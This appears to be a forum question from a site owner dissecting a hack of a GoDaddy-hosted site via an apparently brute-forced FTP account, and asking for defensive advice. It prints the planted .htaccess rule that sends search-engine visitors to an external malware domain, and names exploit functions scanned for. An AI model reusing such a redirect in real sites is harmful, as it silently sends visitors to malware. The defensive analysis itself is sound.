Ftp – Dissecting a website attack through a compromised FTP account

My site has been hacked and at this point, I know some details, but I'm at a loss at exactly how it happened or how to prevent it in the future. I need your help in trying to dissect the attack so that I can prevent it from happening again. This is a little long, but I want to make sure I give enough info to help solve the problem.

Here's what happened.

A few weeks ago, I got an email from my hosting company, GoDaddy, saying that my site was using up too many resources and that they expected that a MySQL query was the culprit. The query in question was a search query that had 5-6 terms in it. The way that I had it set up, the more terms you searched for, the more complex the query became. No problem. I fixed it, but at the same time, GoDaddy also temporarily shut down my account and it was around 3 days before everything was back to normal.

Following that incident, my search engine traffic dropped dramatically, around 90%. It sucked, by I didn't think anything of it, writing it off to the query fiasco and figuring that it would return in time as Google recrawled the site. It didn't.

A few days ago, I got an email from a user saying that my site was hosting malware. I loaded the site directly in my browser, but didn't see anything injected into the page. Then I checked my .htaccess file and found the following:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]
RewriteRule .* http://sokoloperkovuskeci.com/in.php?g=584 [R,L]
</IfModule>

Cute. And a little devious. Navigating directly to the site from the address bar or a bookmark, what I usually do, would load the site as normal. Rarely do I ever go to my site through a link from a search engine, so that's why the hack went undetected as long as it did. The malware also wasn't hosted directly on my site.

A quick search showed that other people were also having the same trouble, though I suspect that there are a lot more who just haven't detected it yet. Most recommendations were to upgrade to the latest versions of the software, change passwords, etc.

Being as I use my own custom content management system and not the ubiquitous WordPress, I dug a little deeper. I scanned all of my files for the common functions used in PHP exploits: base64_decode, exec, shell, etc… Nothing suspicious turned up and no extra files were present.

I next checked the GoDaddy's file manager history and found that out that the .htaccess file was changed on the exact same date as when my search query was accused of using up too many server resources. It could be an unfortunate coincidence, but I'm not completely sure. The redirect in the .htaccess file doesn't seem resource intensive and the query was complex enough that it could have been resource-intensive.

I wanted to be sure that my code wasn't the problem, so I checked the traffic logs for suspicious activity around the time that the .htaccess file was modified, but didn't see any GET or POST activity that looked abnormal or like a hack attempt.

Finally, I requested the FTP logs from GoDaddy and found that there was unauthorized FTP access at the time the .htaccess file was changed. I was on vacation at the time, with my computer physically shut down, and there is no one else with access credentials. It looks like whoever FTP'd in used the primary FTP user for the account, but with an IP of 91.220.0.19, which looks like it's from Latvia.

On shared hosting, it appears GoDaddy automatically assigns a primary FTP username based on the site URL. It's extremely predictable, or at least, it was when I set up my hosting account. I first signed up for the hosting account several years ago, so it may have changed, but from what I remember, I wasn't able to choose the primary FTP username. Currently, you are also unable to change the username and it sounds like GoDaddy is unable to either, unless you cancel your account and resign. While you can create, delete, and edit other FTP users, the primary FTP user can't be deleted. Only the password can be changed.

With the exception of the primary FTP username, all of the access credentials for the site, the database, the admin, and the account are gibberish, random usernames and passwords that look like your cat walked on your keyboard. Ex: lkSADf32!$asJd3.

I have thoroughly scanned my computer for viruses, malware, etc. in case it is the weak point in the link, but nothing has turned up at all. I use a firewall, an anti-virus program, and try to use safe browsing habits.

When I update my site, I use Core FTP LE and an SSH/SFTP connection. The hosting account is a Linux setup.

In talking with GoDaddy tech support, they're not sure how the FTP password was compromised. On shared hosting, they are unable to place an IP block at the FTP user level. They are also unable to change the primary FTP username. When I asked if they have brute force protection around FTP access, the tech sounded unsure at first, but then said they did after I rephrased it a few times. However, I think I remember asking that same question in a previous call and hearing that GoDaddy doesn't have brute force protection on FTP access. At this point, I don't know if they do or not.

I've changed all of my access credentials across the board and also banned the Latvian IP address using the .htaccess file (probably won't make a difference if they're using FTP), but I'm still not sure how the FTP password was compromised to begin with.

I'm fairly certain that the problem wasn't with my code (even if it was, the FTP info shouldn't have been exposed) or with my computer. What I suspect, but don't know how to prove, is that the FTP password was brute-forced as the username was predictable. The brute-force attack could also have coincided with the server resources being used up (blamed on my query), but I don't know enough of the technical side of servers to know if that's possible or even likely.

Now I feel like I'm at the end of what I know what to do. I'd like to be able to understand how the attack was carried out and how to prevent it, so if you have any further ideas on attack vectors, diagnostics that could be run, or additional security measures, I would be very grateful. I'm more than willing to change hosts or ditch shared hosting, but I want to make sure I can prevent this from happening again.

Help me, Obi-Wan Kenobi…